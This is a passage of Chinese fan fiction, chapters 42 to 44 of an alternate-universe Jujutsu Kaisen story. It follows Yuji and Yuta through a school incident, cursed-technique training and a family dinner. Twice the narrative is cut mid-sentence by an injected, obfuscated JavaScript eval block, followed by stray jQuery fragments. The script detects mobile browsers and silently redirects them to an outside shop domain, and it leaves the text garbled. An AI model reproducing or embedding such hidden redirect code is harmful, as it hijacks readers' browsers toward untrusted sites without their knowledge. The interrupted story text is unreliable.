“那个班的四个怪胎”,这样的称呼已经在虎杖悠仁他们没有留意到的角落里开始默默蔓延。比起拒绝沟通的枷场姐妹,乙骨忧太虽然好上一些,但......一想到那双纯黑色的眼睛会在喉咙发声的第一时间就甩过来,斋藤觉得和这样的人对话实在太有压力,久而久之根本没人敢主动去看乙骨忧太的眼睛。
尽管他的脸看上去人畜无害,甚至有的时候还会显出一些瑟缩来,但绝非可以任人欺负的对象。
只要真正和那双眼睛对视过的人大概都会有与斋藤同样的感受吧。
虎杖悠仁是怪胎中的“正常人”。尽管他也很少主动和其他人玩在一块,可比起另外三个人,他的言谈举止还算称得上正常。除了发色有些奇怪,在刚入学的那几天被好几个老师警告不可以染发之后,大家都知道了他的发色是天生的。最重要的是,与他对视不会产生“被非同类注视着”的感觉。
琥珀色的眼睛里总是带着笑意,不论看向谁都是同样的眼神。经过三个多月的相处,班里的其他人大抵摸清了与这四个人的相处规律。总之,只要有什么需要或者必须传达的信息,全都交由虎杖悠仁转达就好,不过完成这个任务就必须要能够承受住来自乙骨忧太的注视,因为他们也几乎形影不离。
斋藤的眼神时不时瞥向校门口的方向,似乎有些心不在焉。虎杖悠仁顺着他的视线看过去,发现了几个游荡在校门外的高年级不良。
“斋藤,你也被勒索了?”
虎杖悠仁拉开窗户,将手肘探出去撑着下巴。所以才会装作想要聊天的样子留在走廊里,是想要等到那群人自行离开吧?
“......”斋藤沉默着,被直接拆穿的窘迫居然超过了想要求助的委屈,他紧闭嘴巴,不予回应。
虎杖悠仁歪过头,眼睛直勾勾地盯着斋藤。如有实质的眼神让同桌感受到了一丝压迫感,双肩变得沉重起来,仿佛有什么看不见的重物趴在了他的肩膀上,压得他愈发喘不过气来。
“等、等他们走掉就好了,”斋藤摸着自己的肩膀,“......”
虎杖悠仁从窗框上直起身,直接挥拳向斋藤打了过去。
42. 第 42 章
“噫?!”这突如其来的变故让斋藤本能地惊叫着后退,恐惧着突然暴起挥拳的虎杖悠仁。
斋藤跌坐在地上,瞪大双眼看着面无表情的虎杖悠仁,他的惨叫惊动了走廊里的老师,有很多脚步声汇聚了过来。
拖着清扫工具回来的乙骨忧太看清了发生的一切,身边与他同为值日生的同班同学莫名其妙地问道:“发生什么事了?那是斋藤和......”
在虎杖悠仁的名字脱口而出之前,他和其他所有认识他们的人一样,犹豫着看向了乙骨忧太,将嘴巴里的话吞了回去。
值日生其实一直挺害怕他们四个的,连带着虎杖悠仁也一起,不像斋藤一样敢和他搭话。
他其实听自己的母亲提起过,似乎班里很多人的家长都知道他们班里有这样四个怪胎,而且没有大人认识这四个人的家长。有大人曾经向班主任提出这四个个性奇怪的孩子可能会影响到自家孩子,想要更换班级,至少要更换座位。
他母亲也曾叮嘱过,让他远离他们四个人。
“怎、怎么突然?!”斋藤大口喘着气,受惊后带来的惊魂未定让他感觉到四肢有些脱力,就那样保持着倒地的姿势坐在地上。
“对不起,吓到你了。”虎杖悠仁向斋藤伸出手,但斋藤只是看着他的手掌,眼中流露出了害怕与不解。
“不可以打架!”闻讯匆匆赶来的老师以为虎杖悠仁和斋藤之间爆发了肢体冲突,而斋藤又倒在地上,所以老师火急火燎地想要阻止事件继续恶化。
有不少还没有离校的孩子从教室里探出头来,相互询问着发生了什么事。
“斋藤,没事吧?”老师选择先扶起地上的斋藤,再三确认他没有受伤后,才转而询问虎杖悠仁他们之间究竟发生了什么。
虎杖悠仁收回手,改为指向在校门口游荡的高年级学生,直截了当地说道:“老师,那些人在勒索低年级的学生。”
老师顺着他手指的方向扫了一眼,转回头来严厉地问:“刚才究竟发生了什么?”
虎杖悠仁看了看斋藤,越过他的肩膀,又看见了远处拎着拖把的乙骨忧太。他撇起嘴巴,最终还是选择了沉默:“抱歉。”
“你动手打人了吗?斋藤,你真的没受伤吗?”
“没、没有。”在斋藤眼中,那打偏了的一拳几乎和奔着自己的脑袋来的没有任何区别。拳风蹭过的脸颊还在隐隐作痛,惊惧的感觉依旧残留在他的身体里,那时在他跌倒后,虎杖悠仁仍在盯着他原来站立的方位,这到底.......?
“......唉。虎杖,和同学玩闹要控制分寸,不可以做出伤害同学的行为。这件事我会和你的班主任说明的,剩下的就等明早再说。明白了吗?”
“校门口有高年级的在勒索。”虎杖悠仁只是重复着这句话。
老师长长地叹了一口气。他似乎对这场无法顺利推进的对话感到了烦躁,语气愈发不善,仿佛无法理解为什么虎杖悠仁听不懂自己说的意思:“我问你听明白了吗?”
乙骨忧太已经在远处定定站了很久,被打湿的拖把上滴答下来的水形成了一小滩水泊。他们就这样远远地对视着,谁也没向对方靠近一步。
虎杖悠仁执拗地没有回答。
“......算了。”老师带着斋藤向外走,虎杖悠仁一直看着他们,直到他们的身影消失在楼梯的拐角才将视线收了回来,重新和乙骨忧太对视。
他皱着眉头撅起嘴巴,一脚踢开地上已经被祓除的咒灵未完全消散的身体。
“......”回家的路上,虎杖悠仁一直保持着这样气鼓鼓的表情,没有像往常那样和乙骨忧太几乎贴在一起走,而是主动拉开了距离。
乙骨忧太跟在他的身后,给他留出了足够的空间。
虎杖悠仁一边走,脚下不自觉地踢开细小的石子,眉毛紧紧皱着,思绪已经不知道跑到什么地方去了。小学放学的时间很早,哪怕他们因为各种事情耽误了一会儿,现在也远没到太阳下山的时候。
他们在十字路口停下,乙骨忧太小声叫道:“悠仁。”
虎杖悠仁看着红绿灯,似乎那里有什么特别吸引人的东西,令他挪不开目光。
“你想怎么做?”乙骨忧太用他平静的、古井无波的语气问道。
“......”
“你不说出来,怎么知道我会不会同意呢?”
虎杖悠仁终于舍得将视线从信号灯上挪开,他吸了一口气,语气略带埋怨地说道:“忧太,你有的时候真的很过分诶。”
绿灯在此时亮起,乙骨忧太不容拒绝地拉住了虎杖悠仁的手,拽着他走上了斑马线。
“就算我说不可以,你也会偷偷去做的吧?更过分的人明明是悠仁才对,结果被责怪的反而是我吗?”
“我又不是在责怪你......忧太,我可以稍微讨厌你一会儿吗?”
乙骨忧太轻声笑了两下。他当然知道虎杖悠仁想要干什么,哪怕他们都不知道这样的行为究竟会带来什么样的结果。“正确”只能定义当下,没有人能够知道一件事的发生在十年、百年之后究竟会带来怎样的未来。
“只能一小会儿,因为我们晚上还要出去吃寿司。”
虎杖悠仁用鼻子哼了一声,表示自己听到了。
他们走到教会的后门时,习惯性地掏出装了酒精的小喷瓶,象征性地在身上喷了两下。枷场姐妹还没有回来,她们发消息说会直接去寿司店。虎杖悠仁进屋之后直接将书包甩在了椅子上,拿起床头上的漫画书。
为了表示“我还在讨厌你”,他故意爬回自己的上床,将头埋进了漫画书里。
乙骨忧太会选择在放学后第一时间写完作业,虎杖悠仁喜欢拖到不能再拖下去之后再动笔。明天的远足他们可以在家休息,乙骨忧太坐在书桌前,虽然摊开了作业本却没有立刻开始写作业,而是在用手机编辑着短信。
上床的虎杖悠仁从漫画书上方露出一双微微眯起来的眼睛。他看着乙骨忧太的手指灵活地摁着手机按键,但是太远了看不清他究竟在打什么字。
“说起来,明天要和菜菜子她们一起练习咒力操作吗?”憋了十分钟左右,虎杖悠仁终于忍不住了。
“美美子说明天要和菜菜子说清楚。”乙骨忧太冲他挥了挥手机,表示他正在和美美子发消息。
虎杖悠仁直接翻身从上床跳到了地面,小小地用了一下自己的术式,落地的时候只发出了轻微的“咚”的一声。
他的术式除了可以让周围的东西失去重力,还可以改变自己,这意味着如果他的咒力输出效率足够强大,他甚至可以做到让自己飞起来。
说是悬浮更贴切一点,因为脱离地面之后他没办法水平移动,连风也无法吹动他,除非背上动画片里的那种喷气背包之类的推进器才行。而且他现在的最佳状态只能保持离地十厘米而已,距离能够完全飞起来还远得很。
不过,调整自身的重力能够让他跳得更远,将这具身体本就出色的身体运动能力提高到另外一个极限。
“明天吗?她准备怎么办?”
“直接说明吧,”乙骨忧太关上手机等待枷场美美子的回复,“菜菜子只是需要有人推她一把,我觉得这件事还是蛮简单的。”
“你的意思是她的心里已经能够接受这件事,可还是因为某些原因不敢往前吗?”
乙骨忧太没有回答他的这个问题,而是将话题引回了放学前发生的小插曲上。
“斋藤身上的诅咒突然变强了?”
虎杖悠仁点头:“看见校门口的那些家伙之后就变成拥有实体的咒灵了。你说我是不是应该稍微解释一下?”
其实没有解释的必要,不论是同学还是老师都看不见与他们错位生活在同一个世界的咒灵和诅咒,所谓的解释只是在说谎而已。他们又不是什么在不为人知的地方与侵害这个世界的怪物们战斗的“英雄”,那种做法只会让英雄情节徒劳增长。
如果抱着想要得到感谢的心思来祓除诅咒,那坚持这个想法的人一定会凄惨地堕落吧?“明明是我救了你好不好!”这样的心思会让拯救者像一个已经失去理智、迷失在恐惧中的溺水者抓住救命稻草一样缠住伸出手的人,最后被自己想要拯救的存在一同拖死在水中。
“如果解释会让事情变得更复杂,果然还是不要说比较好吧?”
乙骨忧太是这样认为的。
虎杖悠仁拍了拍自己的脑袋,有些苦恼:“事情发生的时候总没办法及时完美地处理,结果总是在事后的回想中才能给出最佳的解决方案。这种感觉真是太讨厌了,总让我觉得自己是个很笨拙的人,不论是嘴巴还是行动。”
黑发的孩子准备好铅笔,用指缝夹着笔杆敲击作业本:“就算做了‘不正确’的事,也不一定全都会招致不可挽回的恶果。在拥有远见卓识的人眼中那是即将发生的必然,但是对于没有知识、没有经历、没有年龄优势的普通人来说,那就只是概率问题。”
或者说,即便是一位极聪慧的智者,排除了直觉与常识的辅助作用,在自己完全陌生的领域中做出选择的时候,也是在赌自己的运气足够好而已。
“做了一件正确的事,不代表这个人永远都是对的。同样,做了一件错事,也不代表这个人永远无法被救赎。”
“但是,悠仁,”乙骨忧太向后靠在椅背上,抬头拉他的手,“不要试图去救无可救药的人。”
虎杖悠仁眨眨眼睛,回答道:“忧太,你最近看了什么漫画吗?突然说了很厉害的话诶。”
“回答?”
“我知道了啦。”
善良的人总爱思考自己是否有资格去做某件事,但救世主从不思考自己有没有这样的资格来拯救世界,英雄们只是迈出了第一步,出发、然后一路向前。
也许这些是留给他们在旅途中思考的问题,也许他们从未因为这样的问题而彻夜难眠,也许他们直到抵达终点前仍对此抱有疑问。
晚上的寿司足够美味,虎杖悠仁的饭量又变得大了一些,枷场姐妹原本还担心她们点得有点多,最后全都进了虎杖悠仁的肚子里。
乙骨忧太惊奇地拍了拍躺在他床上等待困意过去的粉发孩子,他的肚子究竟是怎么装下那么多食物的啊?
“......一吃完饭就会犯困、呼呼......”
乙骨忧太有点好笑地推了推他:“所以我劝你回来就把作业写完嘛,这样你又要熬夜了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378181|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虎杖悠仁向里滚了一圈,躲开乙骨忧太的手:“反正明天又不用上学,不如留到明晚再写吧......”
“去自己的床上睡啊。”
虎杖悠仁已经完全听不到了。
乙骨忧太没有关灯,这个点他就算睡过去也很快就会醒过来,更何况晚上还有他想看的动画片,只要听到片头曲就会“噌”地从床上弹起来的。乙骨忧太继续坐下写作业。
房门被敲响,枷场菜菜子的声音从门后传来:“忧太,你们那里还有纸巾嘛?拿一卷给我们呗,明天我会去拿新的。”
乙骨忧太扒拉了一下堆放在角落里的箱子,那一片是专门腾出来摆放成箱的生活消耗品的,比如卷纸、抽纸之类的,他们都是直接搬一箱回来。
“明天我们一起去吧,正好这也是最后一卷了。”他开门将卷纸递了过去,从她们没有关上的门里能够听到综艺节目的声音。
“行啊。”
似乎是节目播放到了精彩的地方,电视机里爆发出一阵欢呼声,连坐在榻榻米上的枷场美美子都面带笑意。
看她的样子......明天是不是就交给她们两个姐妹之间自己来解决好一点呢?
“啊,悠仁你醒了?我就觉得你肯定会在放映时间前醒过来。”真是了不得的生物钟。
虎杖悠仁揉着眼睛:“因为今天是‘决战之日’,绝对不能错过!”
乙骨忧太打开了电视机:“明天让美美子她们自己来怎么样?”
“没问题吗?”
“没问题的。”
电视里已经开始播放动画片的片头曲,虎杖悠仁拖着凳子来到了电视前,闻言没有说话,只是明白地点了点头。
“要吃零食吗?”
但是虎杖悠仁已经完全被动画片的剧情吸引了进去,没有给予回应。
乙骨忧太拿了两个布丁放在书桌上,坐到自己的床上用手机给枷场美美子发消息。他没有等很久,那边发回来一个“好”。
虎杖悠仁咋咋呼呼地闹腾了起来,引得乙骨忧太搬了个凳子坐在他旁边看看究竟什么样的剧情能让他激动成这个样子。
“因为真的很精彩!”哪怕剧情结束之后,粉发孩子依旧一副意犹未尽的样子,喋喋不休地和他讲着刚才的“最终决战”。
虎杖悠仁是这部动画片的忠实爱好者,等到那股上头的劲儿过去之后,他又开始唉声叹气,随意调换着电视频道,似乎什么都无法吸引他为其多停留一秒。
“这种感觉该怎么说呢......满足过后就感觉心里空荡荡的了,想找一点别的什么填上,也会觉得根本填不满。”
“要来玩游戏吗?”
“要!”
他们坐到了地板上,屋子里的空调开到了26度,即便是盛夏也不会觉得热。
但是在室外活动的时候就不可避免地会满身大汗,尤其是他们还在进行非常激烈的对抗活动。教会的周围有“帐”设立着,住宿的地方连同被当做训练场的空地被另外的“帐”笼罩着,所以他们可以尽情使用自己的能力。
里香被叫出来之后非常兴奋,白色的咒灵和虎杖悠仁玩了一会儿抛接球,虎杖悠仁用上了术式高高跃起,接住了里香扔过来的球。里香的力量似乎仍在增长,乙骨忧太虽然能够控制它不会再像原先那样失控暴走,但里香本身的力量就不在他的控制范围之内了。
“里香好厉害!”虎杖悠仁看着被里香扔过来的球砸出的大坑,毫不吝啬自己的夸奖。
“你这么夸她,小心接不到球哦,悠仁。”
乙骨忧太颠了颠自己手上的小白球。
“二对一也太狡猾了!!”被夸得心花怒放的里香手上又加了几分力气,砸得虎杖悠仁只能绕着院子狂奔,不过他尚有余力中气十足地向乙骨忧太抱怨。
“要来了哦!”这下乙骨忧太也加入其中,抛接球游戏变成了躲避球,在一人一咒灵的夹击之下,虎杖悠仁的动作开始变得吃力,慢慢的有球能够擦到他的帽衫了。
乙骨忧太本身的力量并不算特别强,尤其是身边还有虎杖悠仁这个不应当被当做例子的特例,但庞大的咒力量让他能够随时用咒力强化自己的身体素质,而且不必斤斤计较,因为他拥有近乎取之不竭的咒力。
虎杖悠仁弯腰捞起三四个白球抱在怀里,脚下用力又提了点速,跑到几乎留下了残影。
“看招!!”他开始反击,藏在尚未完全长开的身体里的爆炸性力量初现,回击的白球像子弹一样擦过了乙骨忧太的身边,留下风扫过时的阵阵刺痛。
“这也太夸张了吧?他们就是你计划成功的关键吗?”
笼罩住训练场的“帐”外,夏油杰和一个外国人恰巧经过,看见了这场小咒术师之间的躲避球游戏。
“不,他们只是无处可去的孩子,”夏油杰笑眯眯地说,“以家人的身份暂时和我们生活在一起,未来何去何从得等到他们长大再说。”
“那可真是太可惜了。被诅咒的那个孩子拥有的咒力量是我见过最多的,另一个也很可怕,看起来他并没有特别依赖用咒力强化身体,是本身的身体素质就很强吗?”
“悠仁很特别呢。”
夏油杰模棱两可地说道。
43. 第 43 章
跑起来的时候,迎面而来的风会向身体两侧滑去,就好像自己成为了一把尖刀,破开了面前的空气。
掌控身体对于虎杖悠仁来说是一件再简单不过的事,每一块肌肉都被规训得服服帖帖,可以在第一时间摆出任何他想要的姿势,躲开那些飞驰而来的白球。
虎杖悠仁没有使用术式了,虽然它能让他跳得更高,但现在的他并没有能力做到像驯服肌肉那样自如地操纵自己的术式。想要跳得很高,就没办法快速落地,停留在空中的时间就会增多,下一秒就会迎来乙骨忧太和里香的合击。
白球像倒飞暴雨一般直冲他而来,虎杖悠仁险之又险地躲开了。
他还没忘记这个游戏的目的是为了锻炼咒力操作,想要在战斗中避免被对方通过咒力流向和汇聚的地方看穿运动轨迹,他们就必须学会让咒力均匀地分布在身体的每一个地方,直到真正发起攻击。
虎杖悠仁不觉得会有咒灵聪明到能够根据他们身体覆盖的咒力流向来预判进攻的动作,但夏油杰说他的想法仅限于他们见过的低等级咒灵。
“而且,你们未来不一定只会与咒灵为敌。不管出于何种目的,一旦需要和术师战斗时,精心训练过的咒力操作能够帮你们取得优势。”
虎杖悠仁和乙骨忧太并不排斥“变得更强”,所以也欣然接受了夏油杰的指导。平时看不出来,夏油杰其实也是个格斗爱好者,体术很厉害。
咒力覆盖了双拳,乙骨忧太能够看得很清楚。虎杖悠仁将大部分的咒力聚集在了拳头上,他们默契无言,相视一眼后重新开始了又一轮对抗。这一次不论是跑动的速度还是丢球的角度都比原来更进一步,借助咒力飞速奔跑让虎杖悠仁觉得自己的脸都要被扯得变了形,但只有这样才能躲开会飞的里香投来的球。
“帐”外,夏油杰对米盖尔说道:“怎么样?有空的话来教教孩子们吧。”
“呵呵,”米盖尔说话时带着外国人常见的蹩脚口音,“我来找你可不是为了给你带孩子的,夏油。”
“咒灵的收集可不是一朝一夕就能完成的事,更何况多一些助力对我们来说也是好事,”他顿了顿,继续说道,“咒术界已经有了最强,我们这边也必须想好应对的方法才行。”
米盖尔闻言直接笑了出来,硕大的金色耳环随着身体颤动的幅度而摆动起来:“那是你的事。”
夏油杰低低地哼了一声,似乎是默认了米盖尔的话,脸上带着笑意。
“等你的计划可以开始执行的时候再来联系我吧,”米盖尔向教会外走去,头也不回地摆摆手,“比起和孩子们玩过家家,我觉得还是其他事更重要一些。”
夏油杰没有继续挽留。
“帐”里的躲避球游戏还在继续,虎杖悠仁是体力怪物,乙骨忧太是咒力怪物,两个人比起耐久力来不相上下,但虎杖悠仁在咒力量上并不占优势,一旦失去咒力的加持,他的速度会下降。
“要认输了吗?!”
“绝对不!!”
虎杖悠仁大喊一声,咬牙主动拉近了和乙骨忧太之间的距离,丢掉了手中的白球。乙骨忧太心下了然,如果将他当做式神使来看待的话,优先解决术师本人的策略是极为正确的。
接近乙骨忧太会让里香变得束手束脚起来,虎杖悠仁放弃了主动扔球发起进攻,转而准备应对乙骨忧太扔出来的球,选择被动反击。距离越近,被击中的可能性越大,但对于反射神经强大的虎杖悠仁而言,这样正意味着被他捉到反击的机会越多。
果然,里香在虎杖悠仁接近乙骨忧太之后就减缓了投球的速度与力道,乙骨忧太也开始更加谨慎地选择每一次出手的时机,扔出的球也专门瞄准了虎杖悠仁不能简单接住的地方。
球的落点在脚腕附近,乙骨忧太已经看到虎杖悠仁弯腰的动作了。
“嘿嘿。”
看上去选择弯腰拦住那颗白球的虎杖悠仁双腿发力,径直从地上跳了起来,疾驰的球从他脚下擦过。
虎杖悠仁的脸上露出得逞了的得意笑容。他知道自己的咒力操作没办法骗过乙骨忧太的眼睛,干脆直接凭自己的力量做到极限躲避那颗球,然后直直的像小炮弹一样撞向了乙骨忧太。
他的兜里还藏着一颗白球。
虎杖悠仁的速度太快,两个孩子顿时滚作一团,在地上激起一阵尘土。
“......怎么这都能被发现啊?!”
虎杖悠仁坐起身,伸出的手中攥着白球,然而他的手被乙骨忧太的手掌包住了,就这场游戏而言算是平局。
“因为悠仁你很好懂啊。想要耍小聪明的时候的眼神很明显,只要多看看就能看出来了。”乙骨忧太替他拍了拍蹭到手肘上的灰土,嘶了一声。
“受伤了吗?”
“没有没有,”乙骨忧太借着先站起来的虎杖悠仁的手,把自己从地上拉了起来,“有咒力保护着,所以没有受伤。”
“那就好。”虎杖悠仁松了口气。打闹的过程中受伤是正常的事,乙骨忧太会使用反转术式,能够很快治疗他们的伤口。虎杖悠仁一直叫它“里香的神奇魔法”,在夏油杰的指导下,乙骨忧太发掘到了自己拥有的更多潜力。
虎杖悠仁看见了“帐”外的夏油杰,向他挥挥手打招呼,得到了对方的回应。
相处的时间越多,看着这两个孩子逐渐展露出咒术的天赋便越令夏油杰觉得惊喜万分。
“忧太,你还要试试吗?”虎杖悠仁没有从乙骨忧太手中抽出自己的手臂,而是问起了其他的事。
里香因为不能继续玩球而有些低落,乙骨忧太扬起另一只手摸了摸它的头:“嗯,我想继续适应一下。果然悠仁很厉害啊。”
“你怎么总说这样让人不好意思的话,而且更厉害的是忧太。”
乙骨忧太真正的术式是【模仿】,他能够无条件地复制其他术师的术式,甚至能够将其储存起来,但每个模仿来的术式只能使用一次。
通常作为复制对象的是虎杖悠仁,这次也是。
虎杖悠仁的术式在乙骨忧太手里呈现出了全新的模样,他不光可以在周身生成一个削弱重力的空间、改变自身重力,同时还能将正极能量注入生得术式中,使用出术式反转,生成一个范围与术式顺转时一模一样的完全重压区。
虎杖悠仁尚不能做到这一点,因为他并不会生成正极能量。寻常流淌在身体里、注入生得术式中令术式顺转的能量是负极能量,和做数学题一样,负的咒力与负的咒力相乘,负负得正,生成的正极能量就是使用反转术式和术式反转的关键。
这似乎完全依赖于个人天赋,像是乙骨忧太,自然而然地就拥有了生成正极能量的能力——至少从现状看,这的确就是他的天赋。
虎杖悠仁还不明白这样的天赋意味着什么,他只是单纯地将乙骨忧太视作榜样,既然黑发的孩子能够用他的术式做到生成重压区,那么意味着他自己也存在能够做到这一点的可能性。
“好了吗,忧太?”
乙骨忧太松开了手:“离远一点吧。”
虎杖悠仁向后退去,给他留出了三四米的距离。
粉发孩子的术式在顺转时的输出效率并不稳定,乙骨忧太尝试过很多次都无法做到像虎杖悠仁那样一直让周围的重力保持衰减,偶尔会发生无论怎么努力都做不到让术式发挥其应有的作用的情况发生。
改变自身重力的能力在使用中也困难重重,对乙骨忧太而言,虎杖悠仁的术式在顺转时的使用就像一台老旧生锈的机器,能不能正常使用完全要看运气。术式反转的使用倒是一帆风顺,似乎这术式本来就注重于反转似的。
但这样的结论并不适用于虎杖悠仁本身,这让乙骨忧太一度怀疑那不是术式而是他自己的问题。不过在尝试复制了枷场美美子的术式后,他发现顺转时咒力输出效率不高的问题的确出自虎杖悠仁的术式本身。
虎杖悠仁抓耳挠腮地思考如何做到负的咒力与负的咒力相乘,本就不擅长数学的孩子没办法通过大脑想象出如此抽象的概念。他也试图求助过夏油杰,但夏油杰给出的方案被乙骨忧太严词否定了。
“我的......一个认识的人,他在受到致命伤的刹那领悟了正极能量的生成,学会了使用反转术式。所以我猜测,也许有的术师能够在生死关头突破极限,领悟这种力量吧。但那是天才的特权。”
夏油杰劝他不用太过执着于反转术式,整个咒术界能够生成正极能量的只有寥寥数人,能对外输出正极能量、用反转术式治疗他人的更是凤毛麟角,这的确是很看天赋的一件事,大多数术师终其一生都没办法摸到正极能量的门槛。
这是一个遗憾又残忍的事实。
“如果我们同时使用术式会发生什么事?”虎杖悠仁突发奇想:“忧太用术式反转,我用顺转。”
这同样激发起了乙骨忧太的好奇心,他点头同意尝试一下:“那我们站得稍微近一些,但是你本人不要进入术式范围里哦。”
虎杖悠仁跳了两步,让他们两个人的术式生效范围有一小部分重合在了一起。
他们同时发动了术式,范围重合的那一部分术式效果发生了抵消,虎杖悠仁将小白球扔到了那片区域,白球掉在地上弹了几下,那里就像是夹在两片重力异常区域中唯一完好的庇护所。
白球滚动着移动到了重压区,瞬间被压进了土地里。
“我能站在范围里试试吗?”虎杖悠仁试探着说道。他有些跃跃欲试,白球只是有一小部分被压进了地面,他亲手捏过那些小球,知道它们的韧性。
乙骨忧太犹豫了一下,虎杖悠仁的术式在使用的时候不能移动,不管他们想要试探顺转或反转的力量,总有一方要先承受术式在自己身上生效。顺转的重力消减倒是好说,但反转的重压会不会对身体造成无法挽回的伤害......在亲身试验之前谁也不知道。
在虎杖悠仁说服乙骨忧太之前,枷场美美子拉着菜菜子来到了训练场边。夏油杰拍了拍手,终止了这场训练。
“就到这里吧,”夏油杰说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378182|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道,“难得的休息日,做一些自己想做的事吧。”
枷场菜菜子难得没有凑到夏油杰身边,他看起来下午还有其他的事情要忙,叮嘱几句之后就往前面的教会礼堂走去了。
虎杖悠仁和乙骨忧太来到了枷场姐妹身边,用眼神询问美美子和菜菜子谈得怎么样了。
“干嘛用那种眼神看着我?”枷场菜菜子甩了一下头发,有些别扭地说。
“没有哦,菜菜子已经变得更强了,”虎杖悠仁围在她身边转悠着说道,把人惹得恼羞成怒才躲回乙骨忧太身后,“这不是天大的好事吗?要不然我们晚上自己做寿喜锅吃吧!”
枷场菜菜子拿出手机。接受某种并不能令自己满意的自我,这个过程会反复左右拉扯着内心,痛苦且极容易被轻易放弃。
枷场姐妹的术式既可以分开单独使用,同时因为她们是双子的缘故,灵魂在咒术方面被视作同一存在,所以术式组合在一起,能够发挥1+1大于2的效果。菜菜子通过手机相机能够对被拍摄到的物体进行干涉,而美美子可以通过自己手中玩偶来改变术式对象的状态。
枷场菜菜子用手机选定目标,美美子用绳结勒住自己的玩偶,两个术式同时生效,就能将术式对象用“凭空出现的绳索”吊死在高处。
“美美子的娃娃,真的像是诅咒玩偶一样诶。”虎杖悠仁戳了戳那个有些年头的人偶娃娃,看着丑萌丑萌的。用小刀或者直接扭断玩偶的脖子应该也能达到同样的目的,但这样玩偶损耗的速度太快了,所以窒息死仍是效率最高的选择。
枷场菜菜子拍开了虎杖悠仁的手。她沉默了一会儿,正色道:“悠仁。我知道你们没有真心想要帮夏油大人完成他的理想,但是你们决不能妨碍他。”
“不要太相信猴子们,你就是太心软了,总有一天你会为此付出代价。”
枷场美美子抱紧玩偶:“悠仁必须提前考虑清楚才行。我们的‘正确’和悠仁的‘正确’......是不一样的。”
虎杖悠仁挠了挠头发,挤出一个笑容:“这种事,我早就已经明白啦。”
他感觉到有人拉住了自己的手,侧过头去,看见了乙骨忧太的脸。
“我们去超市买菜吧。有什么想放到寿喜锅里煮的食材吗?”
沉重的话题被乙骨忧太轻飘飘地摘了过去,虎杖悠仁被他拉着离开了,手中拿着一份清单。枷场姐妹还想要试试术式的威力,男孩子们出门准备食材。
他们站在十字路口的道旁,红灯在头顶闪烁着。虎杖悠仁随脚踢开的石子骨碌碌地滚到了下水道里,追随而去的目光转移到从井盖缝隙中长出的杂草上。
他觉得枷场姐妹说的是对的。所以他也正如他自己所说,早就明白了这一点。
但是,某些事情还是会让他觉得困扰。
“忧太,如果菜菜子她们以后......”他的话并未说得特别完整,但乙骨忧太已经明白他想要表达的事情。
虎杖悠仁感觉到覆在自己手背上的掌心收缩了一点,因为长时间交握,两只体温各异的手已经没有了温度差。
“不管你怎么选择,”乙骨忧太平静地说,“我和里香永远都会保护你的。”
虎杖悠仁扭过头去,他现在和乙骨忧太差不多高,不过仍需要微微抬眼才能对上他漆黑的眼睛。
“觉得痛苦的话,就算悠仁不愿意,我也会带着你逃走的。什么都不用管,什么都不用想。”
这种眼神对虎杖悠仁来说稍微有点压力,让他难以继续和乙骨忧太对视。
“......这样的话,总感觉我像是个长不大的小孩子一样。”
他嘟嘟囔囔地说。
乙骨忧太晃了晃他们握在一起的手:“又不是只有小孩子才配得到关爱,只是大多数人在长大的过程中没有了可以全然给予爱的对象而已。”
“如果长大之后我变了,比如变成了忧太不喜欢的模样,怎么办啊?那些大人肯定在长大之后发成了各种各样的变化,所以才会渐行渐远。”
虎杖悠仁扬起头,看着马路对面的信号灯由红变绿。
“到时候,忧太该怎么办呢?”
他们顺着人流向前走,不论是与他们同向而行的人,还是擦肩而过的人,大家来去匆匆,没人知道他们究竟都在想些什么、被什么东西困扰着、又期待着什么事情的发生。
“嗯......该怎么办呢?”乙骨忧太拉长了声音,状似烦恼地思考着。
他捏了捏虎杖悠仁的手指,又放在掌心里颠了颠。
“那我跟着你一起改变就可以了。”
他们已经来到了马路对面,周围变得空旷了一些,车流从身后经过,带起阵阵引擎的噪音。
虎杖悠仁摇头:“忧太是忧太,怎么......”
“因为我不想失去你。”
人总是要抓住什么才能在这个世界上活下去。也许以后乙骨忧太会发现其他能够令他觉得这世界还值得期待的事,但现在,这就是唯一的理由。
44. 第 44 章
“牛肉片要拿几盒?”
“嗯,两盒应该差不多了。”
虎杖悠仁拿了两盒冒着凉气的牛肉片放到了购物篮里,篮子里面已经放了不少蔬菜和丸子类的食物。
“......听到忧太那么说,结果变得更不安了啊。”
“抱歉,我给你太大的压力了吗?”
“不是那个意思。”
虎杖悠仁拎着购物篮,乙骨忧太在酱料区挑选着调味料。这个问题的答案直到他们拎着两个装满食材的塑料袋走在回家的路上时,才被虎杖悠仁完完全全地说了出来。
两个塑料袋一前一后的摇晃着,太阳已经开始歪歪斜斜地向下落去,他们的影子随着行走的步调而纠缠在一起。
“那我得变成值得忧太这么做的人才行呐。”
这是虎杖悠仁第一次产生想要为了某个人而变得更好的冲动。
他们从厨师那里借来了一个用来煮寿喜锅的电磁炉,在虎杖悠仁和乙骨忧太的房间摆好了食材和调料,打开空调和电视。
“应该先放什么呢?”
“悠仁大笨蛋不要先放蔬菜!”
“豆腐应该可以先放吧?”
“土豆?”
美味的食物总会让人感觉心情愉悦,说是寿喜锅,最后也只是挨个将自己想吃的食材扔进锅里,至于还能不能捞到就要看手速了。
“悠仁,你的作业写完了吗?”
